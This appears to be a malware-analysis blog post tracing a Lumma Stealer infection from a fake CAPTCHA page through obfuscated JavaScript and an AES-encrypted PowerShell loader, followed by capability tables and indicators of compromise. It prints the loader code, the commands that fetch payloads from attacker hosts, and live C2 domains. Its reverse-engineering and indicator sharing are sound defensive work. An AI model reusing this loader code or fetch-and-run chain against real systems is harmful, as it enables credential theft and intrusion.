

# Malware Analysis - Lumma Stealer

 [0xmrmagnezi.github.io/malware-analysis/LummaStealer/](https://github.com/0xmrmagnezi/malware-analysis/LummaStealer/)

September 24, 2024



4 minute read

Sample:

[https://ch3\[.\]dlvideosfre\[.\]click/human-verify-system\[.\]html](https://ch3[.]dlvideosfre[.]click/human-verify-system[.]html)

## Background

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Lumma Stealer (aka LummaC2 Stealer) is an information stealer that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. Once the targeted data is obtained, it is exfiltrated to a C2 server.

## Static Analysis - Stage 1

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This relatively new phishing technique, known as 'self-pawn,' uses social engineering to lure users into executing malicious commands by prompting them to click 'I'm not a robot' as shown in Figure 1.




Figure 1: I'm not a robots button

After pressing the button, it instructs the user to use the Run feature in Windows.



Figure 2: After Pressing The Button

After further inspection and using F12 to view the page source, I found a script section that contained Powershell code, as shown in Figure 2.




Figure 3: F12 To View Page Source

Then, I took the Base64-encoded string and decoded it using CyberChef. The output was a 'mshta' command that pointed to a new URL.




Figure 4: CyberChef Decoding

As shown in Figure 4, I used curl to download the file it attempts to run.




Figure 5: Curling To The New URL



ATT&CK Tactic	ATT&CK Technique
COLLECTION	Clipboard Data T1115
DEFENSE EVASION	Modify Registry T1112
DISCOVERY	Application Window Discovery T1010 Query Registry T1012
EXECUTION	Shared Modules T1129

MBC Objective	MBC Behavior
ANTI-BEHAVIORAL ANALYSIS	Debugger Detection::Timing/Delay Check GetTickCount [B0001.032]
DISCOVERY	Code Discovery::Enumerate PE Sections [B0046.001]
EXECUTION	Install Additional Program [B0023]
OPERATING SYSTEM	Registry::Delete Registry Value [C0036.007] Registry::Query Registry Value [C0036.006] Registry::Set Registry Key [C0036.001]
PROCESS	Check Mutex [C0043] Create Mutex [C0042] Terminate Process [C0018]

Capability	Namespace
check for time delay via GetTickCount contain an embedded PE file read clipboard data find graphical window check mutex and exit terminate process query or enumerate registry value (5 matches) set registry value (4 matches) delete registry value enumerate PE sections parse PE header (3 matches)	anti-analysis/anti-debugging/debugger-detection executable/subfile/pe host-interaction/clipboard host-interaction/gui/window/find host-interaction/mutex host-interaction/process/terminate host-interaction/registry host-interaction/registry/create host-interaction/registry/delete load-code/pe load-code/pe

Figure 8: Using CAPA To Find Capabilities

This part made me suspicious that there was much more in the executable than I initially noticed. Using the strings command, I found one extremely large string. With a hex editor, I was able to locate it, as shown in Figure 9.

Offset (h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	Decoded text
0000FFB0	30	65	30	74	30	7C	30	95	30	A4	30	B1	30	CE	30	22	0e0t0 0•0x0±0f0"
0000FFC0	31	27	31	3D	31	5B	31	67	31	84	31	88	31	A4	31	A8	1'l=1[lgl,,l^lxl"
0000FFD0	31	C4	31	C8	31	00	00	00	80	00	00	0C	00	00	00	1C	lÄlÈl...€.....
0000FFE0	32	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	2.....
0000FFF0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00010000	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00010010	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00010020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00010030	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.....
00010040	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	3C	.....<
00010050	73	63	72	69	70	74	3E	0D	0A	74	77	65	3D	31	30	32	script>..twe=102
00010060	3B	45	77	72	3D	31	31	37	3B	5A	46	44	3D	31	31	30	;Ewr=117;ZFD=110
00010070	3B	62	77	52	3D	39	39	3B	6B	66	59	3D	31	31	36	3B	;bwR=99;kfY=116;
00010080	4E	72	6E	3D	31	30	35	3B	41	4E	4E	3D	31	31	31	3B	Nrn=105;ANN=111;
00010090	5A	68	6F	3D	33	32	3B	6E	43	54	3D	36	35	3B	65	58	Zho=32;nCT=65;eX
000100A0	6F	3D	38	35	3B	6E	64	42	3D	38	31	3B	56	67	45	3D	o=85;ndB=81;VgE=
000100B0	34	30	3B	73	4A	62	3D	31	30	36	3B	51	55	74	3D	37	40;sJb=106;QUt=7
000100C0	33	3B	72	50	6D	3D	34	31	3B	6E	6B	56	3D	31	32	33	3;rPm=41;nkV=123
000100D0	3B	4D	51	5A	3D	31	31	38	3B	66	59	59	3D	39	37	3B	;MQZ=118;fYY=97;
000100E0	44	54	50	3D	31	31	34	3B	71	52	75	3D	37	32	3B	59	DTP=114;qRu=72;Y
000100F0	76	69	3D	31	30	30	3B	50	6F	54	3D	36	31	3B	50	50	vi=100;PoT=61;PP
00010100	7A	3D	33	34	3B	54	55	68	3D	35	39	3B	4C	6B	73	3D	z=34;TUh=59;Lks=
00010110	31	30	33	3B	54	69	53	3D	31	31	39	3B	43	41	52	3D	103;TiS=119;CAR=
00010120	34	38	3B	78	52	48	3D	36	30	3B	4F	48	45	3D	34	36	48;xRH=60;OHE=46
00010130	3B	63	52	4D	3D	31	30	38	3B	70	43	73	3D	31	30	31	;cRM=108;pCs=101
00010140	3B	68	73	5A	3D	31	30	34	3B	4C	63	61	3D	34	33	3B	;hsZ=104;Lca=43;
00010150	53	58	56	3D	31	31	35	3B	57	73	76	3D	38	33	3B	73	SXV=115;Wsv=83;s
00010160	54	6E	3D	31	30	39	3B	66	6B	6C	3D	36	37	3B	78	6E	Tn=109;fkl=67;xn
00010170	51	3D	39	31	3B	63	61	64	3D	39	33	3B	61	41	67	3D	Q=91;cad=93;aAg=
00010180	34	35	3B	4F	6D	78	3D	35	37	3B	6D	65	52	3D	35	36	45;Omx=57;meR=56
00010190	3B	70	65	72	3D	31	32	35	3B	54	49	47	3D	31	32	31	;per=125;TIG=121
000101A0	3B	72	6A	63	3D	31	31	33	3B	76	62	59	3D	34	39	3B	;rjc=113;vbY=49;
000101B0	4C	57	6F	3D	34	34	3B	51	77	68	3D	35	35	3B	62	73	LWo=44;Qwh=55;bs
000101C0	4F	3D	35	30	3B	62	45	53	3D	35	31	3B	76	6B	62	3D	O=50;bES=51;vkb=
000101D0	35	34	3B	74	44	6B	3D	35	32	3B	59	6B	4F	3D	35	33	54;tDk=52;YkO=53
000101E0	3B	64	43	6F	3D	37	34	3B	77	4D	63	3D	31	32	32	3B	;dCo=74;wMc=122;
000101F0	66	46	45	3D	38	38	3B	6E	68	7A	3D	37	39	3B	45	4F	ffe=88;nHz=79;EO
00010200	65	3D	39	38	3B	73	79	71	3D	38	32	3B	76	61	72	20	e=98;syq=82;var
00010210	4B	6C	6C	20	3D	20	53	74	72	69	6E	67	2E	66	72	6F	Kll = String.fro
00010220	6D	43	68	61	72	43	6F	64	65	28	74	77	65	2C	45	77	mCharCode (twe,Ew
00010230	72	2C	5A	46	44	2C	62	77	52	2C	6B	66	59	2C	4E	72	r,ZFD,bwR,kfY,Nr
00010240	6E	2C	41	4E	4E	2C	5A	46	44	2C	5A	68	6F	2C	6E	43	n,ANN,ZFD,Zho,nC
00010250	54	2C	65	58	6F	2C	6E	64	42	2C	56	67	45	2C	73	4A	T,eXo,ndB,VgE,sJ
00010260	62	2C	51	55	74	2C	74	77	65	2C	72	50	6D	2C	6E	6B	b,QUt,twe,rPm,nk
00010270	56	2C	4D	51	5A	2C	66	59	59	2C	44	54	50	2C	5A	68	V,MQZ,fYY,DTP,Zh
00010280	6F	2C	74	77	65	2C	71	52	75	2C	59	76	69	2C	50	6F	o,twe,qRu,Yvi,Po
00010290	54	2C	5A	68	6F	2C	50	50	7A	2C	50	50	7A	2C	54	55	T,Zho,PPz,PPz,TU
000102A0	68	2C	74	77	65	2C	41	4E	4E	2C	44	54	50	2C	5A	68	h,twe,ANN,DTP,Zh
000102B0	6F	2C	56	67	45	2C	4D	51	5A	2C	66	59	59	2C	44	54	o,VgE,MQZ,fYY,DT

Offset(h): 21155

Block(h): 21155-31183

Length(h): 1002F

Figure 9: Using HxD







```
C:\Users\0x\Desktop\New folder>cscript test.js
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

powershell.exe -w 1 -ep Unrestricted -nop function fALRGP($pwdf1pvc){return -split ($pwdf1pvc -replace '.', '0x& ');};$Xjdkou = fALRGP('1ED9E7E7C0BC58E01C97ED1B21725699A7FB508C89A75F1013B0926358911C84AF0B2F015
544AE777522C29B16D9359D105A54212F73725DAA76713C36496FEDB0D177CF8F40D38360947EA2413E80AC5710A2F3856534FC0BC33E579F033E8A28F356095F7502A89B90FA05874888441E9537C00B95869F01CC47C04182A5128B785E634C0B83
39A0A8E5C14F83AB527A3AF1A38C0638085F640D751154870F4D0987172F8031CF593A3D58F5601C27415955CE3711EA3668F536D74D96C408D48F584ACD39739C8078E38504B7C90029F58352A53D32E5C290825A5451C929A210FC6A9C02B0180C0E0
EC152380804FE98DE0760ACEF547D023886EE92416A3232DC78C803F9AC2160938F60E1708E688C4EC47E8C51D85410EAC1A31CD4D309E4A9D9BF2ACFF42FD8183EF8664557E2102096FC607CEE411EE8E81866AA12B9D6306FBD2AC5BBA1E216537
E7480E4551CFD130548599669771952E281DFC973483EADE17AD21830EEDFE8268E18FBF29FC58C84524C37988F8474F627CBA78D066D6A01459EC6F05AF6208C06A9703AB50C1679DC47C4854F003A6B2077AD58C2558A5C92C68AD0EE2DA33980BC
F2941523D8786E32E1879C07CB3067F308E66E6A0D700B298810A2B0DDE868B263DA0888354A8020191AD0295DDDFCF076D295FE2F4FBAB3060DEF31D06C388A504CF4D86083CDE660874448FA31D68ADDBA2D13514DCFC1C8E508
8250E1D19118891F5F886E1AD6E04B51080E800C221707689D2A839E377D338906A7B7BAA4A4528C8080F73B7424F23F55760564E3E3F6280862031E800031C2707AE5402E1A581158008F5B4A48864619F791A1E27230170EA5978065
9872401172408598156FE3A410CB29414D79E72050856021066C2B5589F63C4A88485476D06DA3987DD4E66ABADE540EB3130ED8ED34044671008988980ZCF1A9A2A216714CF6C8F82ADAC1614D980639C3402B01F5D9F81883493FD1E7AD655A172C1
A118478662D4B35491CD3E55E47AD4398301278784F3374691EE49E2E45D29527F7A1E0A0D496A688827C437AC5503418B5580992A980A7D19184C65841AF9A899CF8B4A98D3CA1524A158DFCA0E2E1077DF56A6F1CF8A6C73FAAFB358BC4A92C3898
82A7094B045D2928D86ACE3E73987808E2D887E08190BC3E0D4146456F6CD0897FF63220357F9848396F60FC520E84931A8E9385C96C6326E6A5C29C6D37D9F9E4AF5EC9F03D1D22071080F7662D08981381405FAF42323826AC6A9631CF9E162759C1D0
944C9643F0EA2EE7791C7E81C87D4842E2968F6A903A1FA897ED5C13EE87767844E625168F9A82A8A0112B3CE9D072797E4387584411CCDC619EF80E006013861680684310E301525FE875996C907FFD682329E9AF6980E5A4D
FFFFEE299681CDA5818E7506187C9897294719E2D6CAFE2EAC37036A25FE6CD20C561244BFB1F9611CGF259FF388212A12F99E42671F7138E467CDE2840D84F3DCE33CD26866867C18B500B3FE0626CC937D0F8E4C3E36A80D227381F54787ED279A48A81F
CF9829F1E7D049098E713D49682E83E7B4E0C437C9590A893A1C7B161EA77CDD49E0CEA07299F02BA46E42AC803AEB6097F93336589B346CAD0808A1689C84579C3F5825A278907A50AC94F8067E73FA784528E1008042AFFF7BC7165156629F415B037
2215066911940123000595998826375572322A4F788804A893E10519B9392XDC5DAA868D0C87011ADCE61D927E6E47A570D6C7AA438966777DAA31C59E23F85A199C380A813483304279C3872318C462E2D0A60F513D7E4B09184C86
8F1E8A35D9981368F802E1B848D1886C0544832A615CCDF7949C248088');$VcUSD = [System.Security.Cryptography.Aes]::Create();$VcUSD.Key = fALRGP('49757A761694556416B6452535A6D51');
$VcUSD.IV = New-Object byte[] 16;
$vbsLKGGp = $VcUSD.CreateDecryptor();
$ORTZmAdDz = $vbsLKGGp.TransformFinalBlock($Xjdkou, 0, $Xjdkou.Length);
$mnnZuGXTrT = [System.Text.Encoding]::Utf8.GetString($ORTZmAdDz);
$vbsLKGGp.Dispose();& $mnnZuGXTrT.Substring(0,3) $mnnZuGXTrT.Substring(3)
```

Figure 14: Output Using CScript

The output was copied to Notepad for further investigation and to make sense of the code.

```
1 powershell.exe -w 1 -ep Unrestricted -nop
2 function fALRGP($pwdf1pvc)
3 {
4     return -split ($pwdf1pvc -replace '.', '0x& ')
5 };
6 $Xjdkou = fALRGP('1ED9E7E7C0BC58E01C97ED1B21725699A7FB508C89A75F1013B0926358911C84AF0B2F01564A4E777522C29B16D93E59D105A54F212FF73725DAA76713C36496FEDB0D177CF8F40D383
60947EA2413E80AC5710A2F3856534FC0BC33E579F033E8A28F356095F702A89B90FA05B74B88441E9537C0DB95B696F01CC47C04182A5128B785E634C0B8339A0A8E5C14F83E
AB527A3AF1A38C0638085F640D751154870F4D0987172F8031CF593A3D58F5601C27415955CE3711EA3668F536D74D96C408D48F584ACD39739C8078E38504B7C90029F58352A53D32E5C290825A5451C929A210FC6A9C02B0180C0E0
3E2E5C29D825A5451C929A210FC6A9C02B0180C0E0EC152380804FE98DE0760ACEF547D023886EE92416A3232DC78C803F9AC2160938F60E1708E688C4EC47EBC511D8541E04AC1A3
81CD4D3D9E4A3D9BF2ACFFE42FD8183EF86C64557E2102096FC607CEED411EE8E81866AA12B9D6306FBD2A8E3E924C5BBA1E216537E7480E45521CFD130548599669771952E2681DFCC
973483EADE17AD21830EEDFE8268E18FBF29FC58C84524C37988F8474F627CBA78D066D6A01459EC6F05AF6208C06A9703AB50C1679DC47C4854F003A6B2077AD58C2558A5C92C68
8ADBEED2A339808C0E2F541523D8E786E32E6187836F07CB36D7380BE60E0A9D716028D6DDEE868B263DA6088354A58020191A62095DFDFFCF076D2959FE824F8A
3806D6F31D06C388A504CF4D86D83CDE66D8744AB7FA31D68ADDBA2D13514DCFC1C8E5082520E31959118893FE5F88661EA4DE6D4851CB0ECD8D0C2127DF6B9B23A39E3372D38
90B6A7B7BAAAB4A528CA0E0F73B742AF32F57D5649E3CEF3EF62DB86F2031E000D31CC127DFAE5402E1A501151B0D87E5BA4A8B4641619F291A1E2B7320170EA5967DBE609F7401917
2408598156FE3A410CB29414D79E72050856021066C2B5589F63C4A88485476D06DA3987DD4E66ABADE540EB3130ED8ED34044671008988989D2CF1A9A2A216714CF6C8F82ADAC1614D980639C3402B01F5D9F81883493FD1E7AD655A172C1
614D5006639C63402B01DF59F8418B3493FD1E7AD655A172C1A11847B062D4B35491CD3E55E874DA423983012B784F3374F691E49E2E45D29527F7A1E0A0D496A688827C437ACCA55D34
1B55BA902A980A7D19184C65841AF9A899CF8B4A98D3CA1524A158DFCA0E2E1077DF56A6F1CF8A6C73FAAFB358BC4A92C3898B2A7094B049D292B86DACE3E73987808E2D887E08190BC3E0D4146456F6CD0897FF63220357F9848396F60FC520E84931A8E9385C96C6326E6A5C29C6D37D9F9E4AF5EC9F03D1D22071080F7662D08981381405FAF42323826AC6A9631CF9E162759C1D0
DB7E08190BC3E0D4146456F6CD0897FF63220357F9848396F60FC520E84931A8E9385C96C6326E6A5C29C6D37D9F9E4AF5EC9F03D1D22071080F7662D08981381405FAF42323826AC6A9631CF9E162759C1D0044C9643F0EA2EE7791C7E81C87D4842E2968F6A903A1FA897ED5C13EE87767844E625168F9A82A8A0112B3CE9D072797E4387584411CCDC619EF80E006013861680684310E301525FE875996C907FFD682329E9AF6980E5A4D
CDC1619EF80E006013861680684310E301525FE875996C907FFD682329E9AF6980E5A4DFFFFEE299681CDA5818E7506187C9897294719E2D6BCACFE2EAC37036A25FE6CD20C561244BFB1F9611CGF259FF388212A12F99E42671F7138E467CDE2840D84F3DCE33CD26866867C18B500B3FE0626CC937D0F8E4C3E36A80D227381F54787ED279A48A81F
F9F1E37D469B0E713D49682E83E7B4E0C437C9590A893A1C7B161EA77CDD49E0CEA07299F02BA46E42AC803AEB6097F93336589B346CAD0808A1689C84579C3F5825A278907A50AC94F8067E73FA784528E1008042AFFF7BC7165156629F415B037
50AC94FB067E73FA784528E1008042AFFF7BC7165156629F415B0372215066911940123000595998826375572332ACAFA78B18004A6943805198B97823C5DCA8A86EBD30CE7014ADA
ECB1DB272E6E417A57072D6C74AA38906C7F7D4A9431C50E23F85A199C380A813483304279C3872318C462E2D0A60F513DEE4BC914B4C860F1E09A35D9981360F8B02E1B848D1B84DB1088
6C05A4832A615CCDDFF7949C248088');
7 $VcUSD = [System.Security.Cryptography.Aes]::Create();
8 $VcUSD.Key = fALRGP('49757A761694556416B6452535A6D51');
9 $VcUSD.IV = New-Object byte[] 16;
10 $vbsLKGGp = $VcUSD.CreateDecryptor();
11 $ORTZmAdDz = $vbsLKGGp.TransformFinalBlock($Xjdkou, 0, $Xjdkou.Length);
12 $mnnZuGXTrT = [System.Text.Encoding]::Utf8.GetString($ORTZmAdDz);
13 $vbsLKGGp.Dispose();& $mnnZuGXTrT.Substring(0,3) $mnnZuGXTrT.Substring(3)
```

Figure 15: Cleaned PS Script

As marked in Figure 15, AES cryptography is applied to the 'fALRGP' variable. I used CyberChef to decrypt this variable using the provided Key and IV.

The screenshot shows the CyberChef interface with an AES Decrypt recipe. The Key is 49757A767169455641... and the IV is 0000000000000000... The output is a large block of obfuscated PowerShell code. The code includes a function aDN and several variables like \$MFB, \$IIMUYX, and \$mZBXOY. The output is a large block of obfuscated PowerShell code.

Figure 16: CyberChef Recipe

The output from CyberChef was another obfuscated PowerShell code. The script was modified slightly and disarmed to output three key variables.

```

1 function aDN($rqk)
2 {
3     $Xep=6735;
4     $CLh=$Null;
5     foreach($FIj in $rqk)
6     {
7         $CLh+=[char]($FIj-$Xep)
8     };
9     return $CLh
10 }
11 $MFB = New-Object (aDN @(6813,6836,6851,6781,6822,6836,6833,6802,6843,6840,6836,6845,6851));
12
13 $IIMUYX = (aDN @(6839,6851,6851,6847,6850,6793,6782,6782,6853,6836,6849,6840,6837,6781,6835,6843,6853,6840,6835,6836,6846,6850,6837,6849,6836,6781,6834,6843,6840,6834,6842,6782,6810,6784,6781,6857,6840,6847));
14
15 $mZBXOY = (aDN @(6839,6851,6851,6847,6850,6793,6782,6782,6853,6836,6849,6840,6837,6781,6835,6843,6853,6840,6835,6836,6846,6850,6837,6849,6836,6781,6834,6843,6840,6834,6842,6782,6810,6785,6781,6857,6840,6847));
16
17 Write-Output ("First Deobfuscate: " + $MFB)
18 Write-Output ("")
19 Write-Output ("Second Deobfuscate: " + $IIMUYX)
20 Write-Output ("")
21 Write-Output ("Third Deobfuscate: " + $mZBXOY)

```

Figure 17: Modified PS Code

```

PS C:\Users\0x\Desktop\New folder > .\test3.ps1

First Deobfuscate: System.Net.WebClient
Second Deobfuscate: https://verif.dlvideosfre.click/K1.zip
Third Deobfuscate: https://verif.dlvideosfre.click/K2.zip

```

Figure 18: Output Of The Modified PS Code

## Static Analysis - Stage 3

Using the Curl command, I was able to download the two zip files for further inspection.

```

C:\Users\0x\Desktop>curl https://verif.dlvideosfre.click/K1.zip --output out1.zip
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload    Upload   Total       Spent    Left     Speed

100 4326k  100 4326k    0     0  3674k    0  0:00:01  0:00:01  --:--:-- 3679k

FLARE-VM Mon 09/23/2024 1:49:01.75
C:\Users\0x\Desktop>curl https://verif.dlvideosfre.click/K2.zip --output out2.zip
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload    Upload   Total       Spent    Left     Speed

100 13.5M  100 13.5M    0     0  5907k    0  0:00:02  0:00:02  --:--:-- 5910k

```

Figure 19: Using Curl

Inside the first zip file, there were five legitimate DLLs, while the second zip file contained a single EXE, which I focused on for analysis.




Figure 20: Using PEStudio

The output from PEStudio indicates that there may be some form of process injection due to the presence of VirtualAlloc.

ATT&CK Tactic	ATT&CK Technique
DEFENSE EVASION	Deobfuscate/Decode Files or Information T1140 Obfuscated Files or Information T1027 Process Injection::Thread Execution Hijacking T1055.003 Reflective Code Loading T1620 Virtualization/Sandbox Evasion::System Checks T1497.001
EXECUTION	Shared Modules T1129

MBC Objective	MBC Behavior
ANTI-BEHAVIORAL ANALYSIS	Debugger Detection::Software Breakpoints [B0001.025] Virtual Machine Detection [B0009]
COMMUNICATION	HTTP Communication::Read Header [C0002.014]
CRYPTOGRAPHY	Crypto Library [C0059] Cryptographic Hash::SHA256 [C0029.003] Decrypt Data::AES [C0031.001] Encrypt Data::3DES [C0027.004] Encrypt Data::AES [C0027.001] Encrypt Data::RC4 [C0027.009] Generate Pseudo-random Sequence::RC4 PRGA [C0021.004] Hashed Message Authentication Code [C0061]
DATA	Check String [C0019] Encode Data::Base64 [C0026.001] Encode Data::XOR [C0026.002] Non-Cryptographic Hash::FNV [C0030.005] Non-Cryptographic Hash::MurmurHash [C0030.001]
DEFENSE EVASION	Obfuscated Files or Information::Encoding-Custom Algorithm [E1027.m03] Obfuscated Files or Information::Encoding-Standard Algorithm [E1027.m02] Obfuscated Files or Information::Encryption-Standard Algorithm [E1027.m05]
DISCOVERY	Analysis Tool Discovery::Process detection [B0013.001] Code Discovery::Enumerate PE Sections [B0046.001]
FILE SYSTEM	Writes File [C0052]
MEMORY	Allocate Memory [C0007]
PROCESS	Allocate Thread Local Storage [C0040] Check Mutex [C0043] Create Mutex [C0042] Create Thread [C0038] Resume Thread [C0054] Set Thread Local Storage Value [C0041] Suspend Thread [C0055] Terminate Process [C0018]

Figure 21: Using CAPA

## Dynamic Analysis - Stage 3

While running the malware with ProcMon in the background, it was observed that, as suspected, the malware injects itself into 'BitLockerToGo.exe,' a legitimate file.




Figure 22: Process Tree

In addition, as shown in Figure 23, there was a long sleep period of about 2 minutes after execution before the malware began its activity.




Figure 23: ProcMon Long Sleep Period

While running the malware in an isolated environment, numerous DNS requests to the attacker's C2 server were observed, as shown in Figure 24.




Figure 24: Using Wireshark To Capture Network Traffic

## IOCs

- Hash:

```
fea50d3bb695f6ccc5ca13834cdf298
83ae58dd03f33d1fae6771e859200be6
7b1f43deed8fc7e35f8394548e12dd81
c39f64a31e9f15338f83411bb9fc0942
b832096cf669ff4d66e04b252cb1a1dc
```

- URL:

```
https://ch3[.]dlvideosfre[.]click/human-verify-system[.]html
https://verif[.]dlvideosfre[.]click/2ndhsoru
https://verif[.]dlvideosfre[.]click/K1[.]zip
https://verif[.]dlvideosfre[.]click/K2[.]zip
https://verif[.]dlvideosfre[.]click
celebratioopz[.]shop
writerospzm[.]shop
deallerospfosu[.]shop
bassizcellskz[.]shop
mennyudosirso[.]shop
languagedscie[.]shop
complaintsipzzx[.]shop
qualitsuzoxm[.]shop
```